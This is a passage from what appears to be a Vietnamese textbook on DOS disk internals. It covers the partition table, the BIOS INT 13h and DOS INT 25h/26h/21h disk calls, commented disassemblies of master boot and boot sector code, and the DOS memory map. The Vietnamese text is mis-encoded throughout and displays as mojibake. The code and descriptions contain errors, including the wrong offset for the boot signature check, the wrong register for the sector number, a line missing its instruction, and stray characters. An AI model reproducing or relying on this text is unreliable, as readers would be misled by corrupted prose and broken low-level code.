Partition table cßn ®−îc gäi lµ Master Boot, l−u tr÷ t¹i Side 0, 
Cylinder 0, Sector 1 trªn ®Üa cøng. T¹i ®©y, ngoµi b¶ng Partition 
(b¶ng ph©n ch−¬ng), cßn cã mét ®o¹n m· ®−îc trao quyÒn ®iÒu 
khiÓn sau qu¸ tr×nh POST t−¬ng tù nh− ®èi víi Boot Sector trªn 
®Üa mÒm. §o¹n m· nµy nh»m x¸c ®Þnh Partition nµo lµ ho¹t ®éng 
®Ó ®äc Boot Sector cña Partition ®ã vµo 0:7C00 vµ trao quyÒn ®iÒu 
khiÓn cho ®o¹n m· cña Boot Sector ®ã. 

Partition Table b¾t ®Çu t¹i offset 1BEh, mçi Partition ®−îc 
®Æc tr−ng b»ng mét entry 16 byte: 

Offse
t 

Siz
e 

Néi dung 

+0 1 Cê hiÖu boot. 0= kh«ng active, 80h=active 

+1 1 Sè hiÖu cña Header b¾t ®Çu 

+2 2 Sec-Cyl: Sè hiÖu Sector-Cylinder b¾t ®Çu cña 
Partition 

+4 1 M· hÖ thèng: 0=unknown, 1=DOS FAT-12,4=DOS 
FAT-16,... 

+5 1 Sè hiÖu cña Header kÕt thóc 

+6 2 Sec-Cyl: Sè hiÖu Sector-Cylinder kÕt thóc cña 
Partition 

+8 4 low-high: Sè Sector b¾t ®Çu t−¬ng ®èi 

+0Ch 4 low-high: Tæng sè Sector trªn Partition 

+10h  §Çu vµo cña mét Partition kh¸c, kÕt thóc b¶ng 
Partition ph¶i lµ ch÷ ký cña hÖ ®iÒu hµnh: 0AA55h 
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3. C¸c t¸c vô truy xuÊt ®Üa. 

a. Møc BIOS. 

C¸c t¸c vô truy xuÊt ®Üa ë møc BIOS sö dông c¸ch tham 
chiÕu ®Þa chØ trªn ®Üa theo Cylinder, Side vµ Sector. C¸c chøc 
n¨ng nµy ®−îc thùc hiÖn th«ng qua ng¾t 13h, víi tõng chøc n¨ng 
con trong thanh ghi AH. C¸c phôc vô c¨n b¶n nhÊt ®−îc m« t¶ 
nh− sau: 
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a1. Phôc vô 0: Reset ®Üa: 

Vµo: 

AH = 0 
DL = Sè hiÖu ®Üa vËt lý (0-®Üa A, 1-®Üa B, ..., 80h-®Üa 

cøng 1, 81h-®Üacøng 2,...) 

Ra:  

Thanh ghi AH chøa tr¹ng th¸i ®Üa (xem phôc vô 1) 

Chøc n¨ng nµy dïng ®Ó reset l¹i ®Üa sau mét t¸c vô gÆp lçi. 
Phôc vô nµy kh«ng t¸c ®éng lªn ®Üa, thay vµo ®ã nã buéc c¸c 
tr×nh hç trî ®Üa cña ROM-BIOS ph¶i b¾t ®Çu l¹i tõ ®Çu trong lÇn 
truy cËp ®Üa kÕ tiÕp b»ng c¸ch canh l¹i ®Çu ®äc/ghi cña æ ®Üa (®Þnh 
vÞ ®Çu ®äc t¹i track 0). 

a2. Phôc vô 1: LÊy tr¹ng th¸i ®Üa. 

Phôc vô 1 tr¶ vÒ tr¹ng th¸i ®Üa trong 8 bit cña thanh ghi AH. 
Tr¹ng th¸i ®−îc duy tr× sau mçi thao t¸c ®Üa (®äc, ghi, kiÓm tra, 
format). Nhê vËy c¸c tr×nh xö lý lçi cã thÓ lµm viÖc hoµn toµn ®éc 
lËp víi c¸c tr×nh thao t¸c ®Üa. §iÒu nµy rÊt cã Ých nÕu chóng ta sö 
dông DOS hay ng«n ng÷ lËp tr×nh ®Ó ®iÒu khiÓn ®Üa. 

Vµo: 

AH = 1 
DL = Sè hiÖu ®Üa vËt lý (0-®Üa A, 1-®Üa B, ..., 80h-®Üa 

cøng 1, 81h-®Üa cøng 2,...) 

Ra: 

AH chøa tr¹ng th¸i ®Üa. 

Gi¸ trÞ 
(hex) 

ý nghÜa 

00 Thµnh c«ng 
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01 LÖnh kh«ng hîp lÖ 

02 Kh«ng t×m thÊy dÊu ®Þa chØ trªn ®Üa 

03 Ghi lªn ®Üa ®−îc b¶o vÖ chèng ghi 
(M) 

04 Kh«ng t×m thÊy Sector 

05 T¸i lËp kh«ng ®−îc (C) 

06 §Üa mÒm ®· lÊy ra (M) 

Gi¸ trÞ 
(hex) 

ý nghÜa 

07 B¶ng tham sè bÞ háng (C) 

08 DMA ch¹y qu¸ l« (M) 

09 DMA ë ngoµi ph¹m vi 64K 

0A Cê Sector bÞ lçi 

10 CRC hay ECC lçi 

11 ECC ®· ®iÒu chØnh d÷ liÖu sai (C) 

20 Lçi do bé ®iÒu khiÓn ®Üa 

40 Lçi kh«ng t×m ®−îc track 

80 Lçi hÕt thêi gian 

AA æ ®Üa kh«ng s½n sµng (C) 

BB Lçi kh«ng x¸c ®Þnh (C) 

CC Lçi lóc ghi (C) 

E0 Lçi thanh ghi tr¹ng th¸i (C) 

FF Thao t¸c dß thÊt b¹i (C) 
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Ghi chó: (C- ChØ dïng cho ®Üa cøng, M- ChØ dïng cho ®Üa 

mÒm). 

a3. Phôc vô 2: §äc Sector ®Üa. 

Phôc vô 2 ®äc mét hay nhiÒu Sector cña ®Üa vµo bé nhí. NÕu 
®äc nhiÒu Sector th× chóng ph¶i n»m trªn cïng track vµ cïng mÆt 
®Üa, lý do v× ROM-BIOS kh«ng biÕt cã bao nhiªu sector trªn track 
nªn kh«ng biÕt lóc nµo cÇn ®æi sang track kh¸c hay mÆt kh¸c. 
Th«ng th−êng, phôc vô nµy ®−îc dïng ®Ó ®äc c¸c sector ®¬n lÎ 
hoÆc toµn bé c¸c sector trªn mét track. 

Th«ng tin ®iÒu khiÓn ®Æt trong c¸c thanh ghi nh− sau: 

Vµo: 

AH = 2 
DL chøa sè hiÖu ®Üa vËt lý (0-®Üa A, 1-®Üa B, ..., 80h-®Üa 

cøng 1, 81h-®Üa cøng 2,...) 
DH chøa sè hiÖu mÆt ®Üa hay sè hiÖu ®Çu ®äc/ghi. 
CX chøa sè hiÖu Cylinder vµ sè hiÖu Sector. Sè hiÖu 

Sector chØ chiÕm 6 bit thÊp trong thanh ghi AL, cßn 
hai bit 6 vµ 7 dïng lµm bit cao phô thªm vµo 8 bit 
cña CH dïng ®Ó chøa sè hiÖu cña Cylinder. 

AL chøa sè l−îng Sector cÇn ®äc. 
ES:BX chøa ®Þa chØ vïng ®Öm, vïng ®Öm d÷ liÖu nµy 

ph¶i ®ñ lín ®Ó chøa ®−îc l−îng th«ng tin ®äc vµo. 
Khi phôc vô nµy ®äc nhiÒu Sector, nã sÏ ®Æt c¸c 
Sector kÕ tiÕp nhau trong bé nhí. 

Ra: 

KÕt qu¶ cña viÖc ®äc ®Üa ®−îc cho l¹i trong tæ hîp cê 
nhí CF vµ thanh ghi AH. CF=0 (NC) lµ kh«ng cã lçi vµ 
AH còng sÏ b»ng 0, lóc nµy AL chøa sè Sector ®äc ®−îc. 
CF=1 (CY) lµ cã lçi vµ AH chøa tr¹ng th¸i ®Üa (xem ý 
nghÜa byte tr¹ng th¸i ®Üa trong phôc vô 1). 
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Chó ý: Riªng AT BIOS cña AWARD cho phÐp sè hiÖu 

Cylinder chiÕm 12 bit v× lÊy thªm bit 6-7 cña DH lµm bit cao 
nhÊt. 

a4. Phôc vô 3: Ghi Sector ®Üa. 

Vµo: 

AH = 3 
C¸c thanh ghi kh¸c t−¬ng tù nh− phôc vô 2 (®äc sector) 

Ra: 

CF=1 nÕu cã lçi vµ m· lçi chøa trong thanh ghi AH (xem 
phôc vô 1), ng−îc l¹i CF=0 lµ kh«ng cã lçi, khi ®ã 
AH=0. 

a5. Phôc vô 8: LÊy tham sè æ ®Üa. 

Phôc vô 8 tr¶ vÒ c¸c tham sè æ ®Üa. 

Vµo: 

AH = 8 
DL chøa sè hiÖu ®Üa vËt lý (0-®Üa A, 1-®Üa B, ..., 80h-®Üa 

cøng 1, 81h-®Üa cøng 2,...) 

Ra: 

DH chøa sè hiÖu ®Çu ®äc/mÆt ®Üa lín nhÊt 
CX chøa sè hiÖu Cylinder lín nhÊt-sè hiÖu sector lín 

nhÊt. Còng gièng nh− phôc vô 2, sè hiÖu Sector chØ 
chiÕm 6 bit thÊp cña thanh ghi CL, cßn 2 bit 6-7 
®−îc ghÐp lµ hai bit cao cïng víi 8 bit cña thanh ghi 
CH chøa sè hiÖu cña Cylinder lín nhÊt. 
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b. Møc DOS. 

C¸c chøc n¨ng truy xuÊt ®Üa ë møc DOS sö dông c¸ch ®¸nh 
sè Sector theo kiÓu cña DOS. Nã sö dông hai ng¾t 25h vµ 26h 
t−¬ng øng víi chøc n¨ng ®äc vµ ghi ®Üa, thay ®æi l¹i c¸ch gäi tªn 
®Üa theo thø tù ch÷ c¸i: 0: æ ®Üa A, 1: æ ®Üa B, 2: æ ®Üa C,...  

Vµo: 

AL chøa sè ®Üa (0=A, 1=B, 2=C,...) 
CX chøa sè l−îng sector ®äc/ghi 
DX chøa sè sector logic b¾t ®Çu 
DS:BX chøa ®Þa chØ cña buffer chøa d÷ liÖu cho t¸c vô 

®äc/ghi. 

Ra: 

Cê CF=1 nÕu gÆp lçi, vµ m· lçi tr¶ l¹i trong thanh ghi 
AX. 

Nh−îc ®iÓm cña ng¾t 25h vµ 26h lµ trªn c¸c ®Üa cøng: nã chØ 
cho phÐp truy xuÊt c¸c sector b¾t ®Çu tõ Boot Sector cña mét 
Partition. Master Boot vµ c¸c sector kh¸c ngoµi Partition DOS 
kh«ng cã gi¸ trÞ g× trong chøc n¨ng nµy. Ngoµi ra, mét nh−îc 
®iÓm kh¸c lµ sau khi thùc hiÖn xong, DOS ®Ó l¹i trªn Stack mét 
Word, sÏ g©y lçi cho ch−¬ng tr×nh nÕu kh«ng ®Ó ý. 

Cã mét ®iÓm quan träng cÇn l−u ý: §õng yªu cÇu ®äc sè 
l−îng sector v−ît qu¸ 64K tÝnh tõ ®Çu segment cña buffer chøa d÷ 
liÖu. 

§o¹n ch−¬ng tr×nh sau ®©y sö dông ng¾t 25h ®Ó ®äc Boot 
Sector trªn ®Üa mÒm A: 

 mov  al,0  ; ®Üa A: 
 mov  dl,0  ; Sector logic 0 
 mov  cx,1  ; ®äc 1 sector 
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 lea  bx,MyBuff  ; DS:BX trá tíi ®Þa chØ vïng 
®Öm 
 int  25h 
 pop  dx  ; LÊy l¹i mét word d− trªn Stack 
 jnc  NoErr 
 ............................... ; §o¹n m· xö lý lçi ®äc ®Üa (m· 
lçi trong AX) 

 NoErr: 
 ............................... ; §o¹n m· tiÕp tôc nÕu kh«ng cã 
lçi. 

V× sè Sector ®Æt trong thanh ghi 16 bit, nªn sè l−îng sector 
kh«ng ®−îc phÐp v−ît qu¸ 65535. §iÒu nµy lµ mét h¹n chÕ ®èi 
víi c¸c ®Üa cøng cã sè l−îng sector lín. B¾t ®Çu tõ DOS 4.0 trë ®i, 
nh−îc ®iÓm nµy ®−îc gi¶i quyÕt theo c¸ch sau ®©y n©ng tõ 16 bit 
lªn 32 bit nh−ng vÉn t−¬ng thÝch víi c¸c Version cò, cô thÓ nh− 
sau: 

NÕu CX < 0FFFFh th× vÉn gi÷ nguyªn c¸ch lµm viÖc trªn c¸c 
thanh ghi nh− trªn. 

NÕu CX=0FFFFh, th× sÏ lµm viÖc trªn d¹ng thøc míi cña 
DOS 4.0, lóc nµy DS:BX sÏ trá tíi Control Package, mét cÊu tróc 
10 byte chøa c¸c th«ng tin vÒ Sector ban ®Çu, sè Sector cÇn 
®äc,vv... CÊu tróc cô thÓ cña Control Package cô thÓ nh− sau: 

Offset KÝch 
th−íc 

Néi dung 

+0 4 Sè Sector logic ban ®Çu 

+4 2 Sè Sector cÇn ®äc/ghi 

+6 4 §Þa chØ cña buffer chøa d÷ 
liÖu 
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§o¹n ch−¬ng tr×nh sau ®©y sö dông ng¾t 25h ®Ó ®äc Sector 
trªn ®Üa cøng C: 

mov  al,2  ; Chän æ ®Üa C 
mov  cx,0FFFFh  ; §©y lµ phÇn më réng cña 4.0 
lds  bx,packet  ; DS:BX trá tíi nhãm th«ng tin 
chuyÓn 
;-------------- PhÇn khëi t¹o Packet tr−íc khi ®äc 
mov  word ptr [bx],14464  ; Word thÊp 
mov  word ptr [bx+2],1  ; Word cao 
mov  word ptr [bx+4],1  ; Sè Sector cÇn ®äc 
mov  [bx+6],OFFSET MyBuff  ; G¸n ®Þa chØ 
®äc vµo 
mov  [bx+8],SEG MyBuff 
;-------------- Xong phÇn khëi t¹o packet 
int  25h 
pop  dx  ; LÊy word d− trªn Stack 
jnc  NoErr 
............................. ; §o¹n m· xö lý lçi ®äc ®Üa (m· lçi 
trong AX) 

NoErr: 
.............................. ; §o¹n m· tiÕp tôc nÕu kh«ng cã lçi. 

Møc DOS cã mét t¸c vô lý thó ®Ó cã ®−îc c¸c th«ng tin trong 
b¶ng tham sè ®Üa. §iÒu nµy cã Ých cho c¸c lËp tr×nh viªn hÖ thèng 
v× hai lý do: Thø nhÊt, viÖc tÝnh to¸n dùa trªn th«ng tin cña phÇn 
BPB trong Boot Record cã nhiÒu phøc t¹p. Thø hai lµ biÕt ®©u 
th«ng tin trong Boot Record l¹i bÞ háng th× t¸c vô nµy lµ t¸c vô 
gióp lËp tr×nh viªn cã ®−îc c¸c th«ng tin hÖ thèng ®ã. T¸c vô nµy 
lµ chøc n¨ng 32h cña ng¾t 21h. Tr−íc ®©y, chøc n¨ng nµy kh«ng 
®−îc chÝnh thøc c«ng bè, nh−ng b¾t ®Çu tõ DOS 5.0 trë ®i, chøc 
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n¨ng nµy ®· ®−îc chÝnh thøc c«ng bè. §ã lµ chøc n¨ng 32h cña 
ng¾t 21h cña DOS. 

Vµo: 

AH = 32h 
DL = ®Üa (0- æ ®Üa ngÇm ®Þnh, 1- æ ®Üa A, 2- æ ®Üa B, 3- æ 

®Üa C,...) 
Gäi ng¾t 21h 

Ra: 

AL  = 0 nÕu ®Üa hîp lÖ 
  = 0FFh nÕu ®Üa kh«ng hîp lÖ 
DS:BX trá tíi b¶ng tham sè ®Üa cña ®Üa ®−îc chØ ®Þnh. 

CÊu tróc cña b¶ng tham sè ®Üa nµy nh− sau: 

Offse
t 

Siz
e 

Néi dung 

+0 1 Sè hiÖu ®Üa (0=A, 1=B, 2=C,...) 

+1 1 Sè hiÖu ®¬n vÞ con do tr×nh ®iÒu khiÓn thiÕt bÞ 
qu¶n lý 

+2 2 Sè byte trong mét Sector 

+4 1 Sè Sector trong mét Cluster - 1 

+5 1 Luü thõa 2 cao nhÊt cña sè Sector trªn mét 
Cluster. 

+6 2 Sè Sector dµnh riªng (cho Boot Record) 

+8 1 Sè b¶ng FAT 

+9 2 Sè ®iÓm vµo (entry) tèi ®a trong th− môc gèc 

+0Bh 2 Sè hiÖu cña Sector ®Çu tiªn trong Cluster 2 (lµ 
Cluster ®Çu tiªn chøa d÷ liÖu) 
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+0Dh 2 Sè hiÖu Cluster cuèi cïng (b»ng tæng sè Cluster + 
2) 

+0Fh 2 Sè Sector trong mét b¶ng FAT (tõ DOS 4.0 tr−êng 
nµy chiÕm 2 byte, cßn ®èi víi DOS 3. tr−êng nµy 
chØ chiÕm 1 byte) 

+11h 2 Sè hiÖu Sector ®Çu tiªn trong th− môc gèc 

+13h 4 Con trá tíi Header cña tr×nh ®iÒu khiÓn thiÕt bÞ 

Offse
t 

Siz
e 

Néi dung 

+17h 1 Byte ID, ®Æc tr−ng cho khu«n d¹ng ®Üa 

+18h 1 Cê truy nhËp (0=®· truy nhËp, FF= ch−a truy 
nhËp) 

+19h 4 Con trá tíi b¶ng th«ng tin ®Üa kÕ tiÕp (nÕu lµ 
FFFFh th× ®· ®Õn b¶ng cuèi cïng) 

+1Dh 2 Cluster b¾t ®Çu cho viÖc t×m vïng trèng ®Ó ghi lªn 
®Üa 

+1Fh 2 Sè c¸c Cluster cßn trèng trªn ®Üa, 0FFFFh lµ 
kh«ng biÕt 

 

4. Ph©n tÝch c¸c ®o¹n m· trong Master Boot vµ Boot Record. 

a. §o¹n m· trong Master Boot. 

Nh− chóng ta ®· biÕt, sau qu¸ tr×nh POST, Master Boot ®−îc 
®äc vµo 0:7C00h vµ quyÒn ®iÒu khiÓn ®−îc trao cho ®o¹n m· 
trong Master Boot nµy. 

C«ng viÖc chÝnh cña ®o¹n m· trong b¶ng Partition (Master 
Boot) gåm: 
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- ChuyÓn chÝnh ch−¬ng tr×nh cña m×nh ®i chç kh¸c ®Ó dän 
chç cho viÖc t¶i Boot Record cña Active Partition vµo. 

- KiÓm tra dÊu hiÖu nhËn diÖn Boot Record b»ng mét gi¸ trÞ 
word t¹i 1BEh (nÕu lµ Boot Record, gi¸ trÞ nµy lµ 0AA55h) 

- Cung cÊp b¶ng tham sè cña Entry t−¬ng øng vµo 0:7BE 

- ChuyÓn quyÒn ®iÒu khiÓn cho Boot Record võa ®äc. 

Sau ®©y lµ ®o¹n ch−¬ng tr×nh ®−îc dÞch ng−îc thµnh 
assembler cña ®o¹n m· trong b¶ng Partition. 

org 7C00h 
Begin: 

 ; Khëi t¹o Stack 
cli 
xor  ax,ax 
mov  ss,ax 
mov  sp,7C00h 
mov  si,sp 
push  ax 
pop  es 
push  ax 
pop  ds 
sti 
 ; ChuyÓn chÝnh ch−¬ng tr×nh cña m×nh sang 
0:600h 
 ; ®Ó chç cho Boot Record cña Active Partition 
®äc vµo 
cld 
mov  di,600h 
mov  cx,100h 
repne  movsw 
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jmp  0:061Dh ; ChuyÓn quyÒn ®iÒu khiÓn sang 
vïng míi 
mov  si,7BEh  ; Trá SI tíi b¶ng ph©n ch−¬ng 
mov  bl,4  ; KiÓm tra xem Partition nµo lµ Active 

Check: 
cmp  byte ptr [si],80h  ; KiÓm tra Boot_flag 
je  Check_Partition  ; NÕu lµ Active, nh¶y tíi 
phÇn 
    ; kiÓm tra Partition 
cmp  byte ptr [si],0  ; Partition cã hîp lÖ kh«ng 
jne  Invalid  ; Kh«ng hîp lÖ 
add  si,10h  ; VÉn hîp lÖ, kiÓm tra tiÕp 
dec  bl   ; Partition kÕ tiÕp 
jne  Check  ; NÕu kh«ng cã Parition nµo tho¶ 
int  18h  ; th× chuyÓn sang ROM BASIC. 

Check_partition: 
mov  dx,word ptr [si]  ; §−a gi¸ trÞ ®Þnh vÞ Boot 
Sector 
mov  cx,word ptr [si+2]  ; DH=Head, CX=Cyl-Sec 
mov  bp,si 

Next_Partition: 
 ; §Ó ®¶m b¶o tÝnh hîp lÖ, c¸c Partition cßn l¹i 
 ; ph¶i kh«ng ®−îc lµ Active 
add  si,10h 
dec  bl 
je  Load_System  ; NÕu hîp lÖ sÏ t¶i hÖ 
thèng vµo 
cmp  byte ptr [si],0 
je  Next_Partition 

Invalid: 
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mov  si,OFFSET Error1_mess  ; Kh«ng hîp lÖ, 
sai 

Next_char: 
lodsb 
cmp  al,0 
je  _Loop 
push  si 
mov  bx,7 
mov  ah,0Eh 
int  10h 
pop  si 
jmp  Next_char 

_Loop: 
jmp  _Loop 

Load_System: 
mov  di,5  ; SÏ ®äc l¹i 5 lÇn nÕu cã lçi 

Try: 
mov  bx,7C00h 
ax  0201h 
push di 
int  13h 
pop  di 
jae  Load_ok 
xor  ax,ax 
int  13h ; Reset ®Üa 
dec  di 
jne  Try 
mov  si,OFFSET Error2_mess 
jmp  Next_char 

Load_ok: 
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mov  si,OFFSET Error3_mess 
mov  di,7DFEh 
cmp  word ptr [di],0AA55h ; KiÓm tra tÝnh hîp lÖ 
cña Boot 
jne  Next_char 
mov  si,bp 
jmp  0:7C00h  

Error1_mess  db 'Invalid Partition table',0 
Error2_mess  db 'Error loading operating system',0 
Error3_mess  db 'Missing operating system',0 
 

b. §o¹n m· trong Boot Record. 

§o¹n m· trong Boot Record nh»m thùc hiÖn c¸c nhiÖm vô 
sau ®©y: 

- Khëi t¹o ng¾t 1Eh b»ng b¶ng tham sè trong Boot 
Sector. 

- §Þnh vÞ c¸c phÇn trªn dÜa b»ng b¶ng tham sè BPB. 
- §äc Root vµo vµ kiÓm tra sù tån t¹i cña 2 file hÖ thèng. 
- NÕu cã, t¶i hai file nµy vµo vµ trao quyÒn ®iÒu khiÓn. 

Sau ®©y lµ ®o¹n m· cña Boot Sector trªn æ ®Üa cøng, ®−îc 
FORMAT bëi DOS Version 6.20. 

Boot proc 

org 7C00h 
start: 

jmp short  Begin  
Nop 
OEM  db 'MSDOS5.0' 
SectorSize  dw 0200h ; 512 byte/Sector 
ClusterSize  db 10h  ; 16 Sector/Cluster 
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ResevedSec  dw 0001h ; 1 Sector dµnh riªng 
FATCnt  db 02h  ; Sè b¶ng FAT lµ 2 
RootSize  dw 0200h  ; Sè ®Çu vµo tèi ®a trong Root lµ 
512 
TotalSec  dw 0000h  ; Sè l−îng Sector trªn ®Üa v−ît qu¸ 
32M 
Media  db F8  ; §Üa cøng 
FatSize  dw 0081h  ; 129 sector cho b¶ng FAT 
TrackSect  dw 0028h  ; Sè l−îng Sector/Track lµ 40 
HeadCnt  dw 000Eh  ; Sè l−îng ®Çu tõ lµ 14 
HiddenSec  ddw 00000028h  ; Sè l−îng 
Sector dÊu mÆt lµ 40 
TotalSec  ddw 00080EA8  ; Tæng sè Sector trªn ®Üa > 
32M 
IDDisk  db 80h  ; §Þa chØ vËt lý æ ®Üa cøng 1 
Reseved  db 00  ; Dù tr÷ ghi 00 
Item  db 29h 
SerialNum  db 0FD100000 ; Serial Number 
cña ®Üa 
VolumeLabel db 'NO NAME ' 
FATType  db 'FAT16 ' 

Begin:  
cli    ; Disable interrupts 
xor  ax,ax  ; Zero register 
mov  ss,ax 
mov  sp,7C00h 
push  ss 
pop  es 
mov  bx,78h 
lds  si,dword ptr ss:[bx] ; DS:SI trá tíi b¶ng tham 
sè ®Üa 
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push  ds 
push  si 
push  ss 
push  bx 
mov  di,7C3Eh 
mov  cx,0Bh 
cld    ; Clear direction 
rep  movsb  ; Rep when cx >0 Mov [si] to es:[di] 
push  es 
pop  ds 
mov  byte ptr [di-2],0Fh 
mov  cx,ds:7C18h 
mov  [di-7],cl 
mov  [bx+2],ax 
mov  word ptr [bx],7C3Eh 
sti    ; Enable interrupts 
int  13h  ; Reset disk, al=return status 
jc  Error1  ; Jump if carry Set 
xor  ax,ax  ; Zero register 
cmp  ds:[7C13h],ax  
je  loc_3  ; Jump if equal 
mov  cx,ds:[7C13h] 
mov  ds:[7C20h],cx  

loc_3:  
mov  al,ds:[7C10h] 
mul  word ptr ds:[7C16]  
add  ax,ds:[7C1Ch] 
adc  dx,ds:[7C1Eh] 
add  ax,ds:[7C0Eh] 
adc  dx,0 
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mov  ds:[7C50h],ax  
mov  ds:[7C52h],dx  
mov  ds:[7C49h],ax  
mov  ds:[7C4Bh],dx  
mov  ax,20h 
mul  word ptr ds:[7C11h] 
mov  bx,ds:[7C0Bh] 
add  ax,bx 
dec  ax 
div  bx  ; ax,dx rem=dx:ax/reg 
add  ds:[7C49h],ax  
adc  word ptr ds:[7C4Bh],0  
mov  bx,500h 
mov  dx,ds:[7C52h] 
mov  ax,ds:[7C50h] 
call  sub_2  
jc  loc_4  ; Jump if carry Set 
mov  al,1 
call  sub_3  
jc  loc_4  ; Jump if carry Set 
mov  di,bx 
mov  cx,0Bh 
mov  si,data_25e  
repe  cmpsb  ; Rep zf=1+cx >0 Cmp [si] to es:[di] 
jnz  loc_4  ; Jump if not zero 
lea  di,[bx+20h]  ; Load effective addr 
mov  cx,0Bh 
repe  cmpsb  ; Rep zf=1+cx >0 Cmp [si] to es:[di] 
jz  loc_6  ; Jump if zero 

loc_4:  
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mov  si,[7D9Eh] 
call  sub_1  
xor  ax,ax ; Zero register 
int  16h  ; Keyboard i/o ah=function 00h 
   ; get keybd char in al, ah=scan 
pop  si 
pop  ds 
pop  word ptr [si] 
pop  word ptr [si+2] 
int ` 19h  ; Bootstrap loader 

loc_5:  
pop  ax 
pop  ax 
pop  ax 
jmp  short loc_4 

loc_6:  
mov  ax,[bx+1Ah] 
dec  ax 
dec  ax 
mov  bl,ds:[7C0Dh] 
xor  bh,bh ; Zero register 
mul  bx  ; dx:ax = reg * ax 
add  ax,ds:[7C49h] 
adc  dx,ds:[7C4Dh] 
mov  bx,700h 
mov  cx,3 

locloop_7:  
push  ax 
push  dx 
push  cx 
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call  sub_2 
jc  loc_5  ; Jump if carry Set 
mov  al,1 
call  sub_3 
pop  cx 
pop  dx 
pop  ax 
jc  loc_4  ; Jump if carry Set 
add  ax,1 
adc  dx,0 
add  bx,ds:[7C0Bh] 
loop  locloop_7  ; Loop if cx > 0 
mov  ch,ds:[7C15h] 
mov  dl,ds:[7C24h] 
mov  bx,ds:[7C49h] 
mov  ax,ds:[7C4Bh] 
jmp  far ptr 0070h:0000h 

Boot endp 

sub_1 proc near 

loc_8:  
lodsb    ; String [si] to al 
or  al,al  ; Zero ? 
jz  loc_ret_10  ; Jump if zero 
mov  ah,0Eh 
mov  bx,7 
int  10h  ; Video display ah=function 0Eh 
   ; write char al, teletype mode 
jmp  short loc_8  

sub_2: 

cmp  dx,ds:[7C18h] 
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jae  loc_9  ; Jump if above or = 
div  word ptr ds:[7C18h]  ; 
ax,dxrem=dx:ax/dat  
inc  dl 
mov  ds:[7C4Fh],dl  
xor  dx,dx  ; Zero register 
div  word ptr ds:[7C1Ah]  ; 
ax,dxrem=dx:ax/dat 
mov  ds:[7C25h],dl  
mov  ds:[7C4Dh],ax  
clc    ; Clear carry flag 
retn 

loc_9:  
stc    ; Set carry flag 

loc_ret_10:  
retn 

sub_1 endp 

sub_3 proc near 

mov  ah,2 
mov  dx,ds:[7C4Dh] 
mov  cl,6 
shl  dh,cl  ; Shift w/zeros fill 
or  dh,ds:[7C4Fh] 
mov  cx,dx 
xchg  ch,cl 
mov  dl,ds:[7C24h] 
mov  dh,ds:[7C25h] 
int  13h   
retn 

sub_3 endp 
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Mess1 db 0Dh,0Ah, 'Non-System disk or disk error' 
Mess2 db 0Dh,0Ah,'Replace and press any key when 

ready',0Dh,0Ah 
File_Sys1 db 'IO SYS' 
File_Sys2 db 'MSDOS SYS' 
ID_BOOT db 55h,0AAh 

end start 

III. Qu¶n lý vïng nhí vµ Tæ chøc, thi hµnh 
File d−íi DOS. 

1. S¬ ®å vïng nhí d−íi DOS. 

Vïng RAM n»m trong quyÒn ®iÒu khiÓn cña DOS ®−îc chia 
thµnh hai phÇn chÝnh: 

- PhÇn hÖ ®iÒu hµnh: 

B¾t ®Çu tõ ®Þa chØ thÊp nhÊt 00000, nghÜa lµ nã bao gåm c¶ 
b¶ng vector ng¾t, hÖ ®iÒu hµnh (bao gåm c¸c file hÖ thèng 
IO.SYS, MSDOS.SYS, c¸c device driver ®−îc khai b¸o trong 
config.sys vµ phÇn th−êng tró cña COMMAND.COM. 

PhÇn vïng nhí cña hÖ ®iÒu hµnh nµy cã kÝch th−íc thay ®æi 
tuú theo Version vµ tuú theo sè l−îng c¸c Device Driver. 

- PhÇn ch−¬ng tr×nh t¹m thêi: 

PhÇn nhí nµy cßn ®−îc gäi lµ vïng nhí ho¹t ®éng, lµ vïng 
nhí ngay sau vïng hÖ ®iÒu hµnh vµ ®¹t ®Õn ®Þa chØ cao nhÊt cã 
thÓ. Vïng nhí nµy ®−îc tæ chøc thµnh c¸c khèi t¹o thµnh chuçi. 
C¸c file ®−îc t¶i lªn vµ thi hµnh trong vïng nhí nµy, cho nªn 
vïng nhí nµy chØ mang tÝnh t¹m thêi. 

S¬ ®å sau tãm t¾t cÊu tróc vïng nhí: 

§Þa chØ M« t¶ chøc n¨ng vïng nhí 
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0000:000
0 

B¶ng vector ng¾t: 256 * 4 byte. 

0040:000
0 

Vïng d÷ liÖu cña ROM BIOS. 

0050:000
0 

Vïng d÷ liÖu cña DOS. 

xxxx:000
0 

§o¹n m· BIOS ë møc thÊp cña DOS. 

xxxx:000
0 

Bé xö lý ng¾t cña DOS (Int 21h) 

xxxx:000
0 

Buffer DOS, c¸c vïng d÷ liÖu, c¸c bé §KTB ®· 
cµi ®Æt 

xxxx:000
0 

PhÇn th−êng tró cña COMMAND.COM (kho¶ng 
4K) gåm c¸c bé xö lý ng¾t Int 22h, Int 23h, Int 
24h. 

xxxx:000
0 

D÷ liÖu vµ c¸c ch−¬ng tr×nh th−êng tró (TSR). 

xxxx:000
0 

Ch−¬ng tr×nh øng dông hiÖn ®ang thùc hiÖn. 

xxxx:000
0 

PhÇn t¹m tró cña COMMAND.COM bao gåm bé 
th«ng dÞch lÖnh, c¸c lÖnh néi tró,... PhÇn nµy sÏ 
®−îc n¹p l¹i nÕu cã ch−¬ng tr×nh nµo ghi lªn vïng 
nµy. 

A000:000
0 

Vïng nhí EGA-VGA cho mét sè Mode mµn h×nh 
nhÊt ®Þnh. 

B000:000
0 

Vïng nhí cho bé ®iÒu hîp mµn h×nh ®¬n s¾c. 
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B800:000
0 

Vïng nhí mµn h×nh CGA. 

C800:000
0 

B¾t ®Çu tõ ®©y lµ vïng nhí ROM (ngo¹i tró vµ néi 
tró) 
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2. Mét sè chøc n¨ng liªn quan ®Õn vïng nhí cña DOS. 

a. CÊp ph¸t vïng nhí. 

Vµo: 

AH = 48h 
BX = KÝch th−íc vïng nhí cÇn cÊp ph¸t (tÝnh theo 

paragraph). 
Gäi Int 21h 

Ra: 

NÕu CF = 1, th× AX chøa m· lçi vµ BX lµ sè vïng nhí tèi 
®a cßn l¹i cßn dïng ®−îc. Ng−îc l¹i, nÕu CF = 0 th× 
viÖc cÊp ph¸t thµnh c«ng vµ AX chÝnh lµ segment 
cña vïng nhí mµ DOS ®· cÊp ph¸t theo yªu cÇu. 

b. Gi¶i phãng vïng nhí. 

Chøc n¨ng nµy dïng ®Ó yªu cÇu DOS gi¶i phãng vïng nhí ®· 
cÊp ph¸t tr−íc ®©y mµ b©y giê kh«ng cßn sö dông ®Õn chóng. Khi 
chÊm døt mét ch−¬ng tr×nh do DOS t¶i vµ thi hµnh, quyÒn ®iÒu 
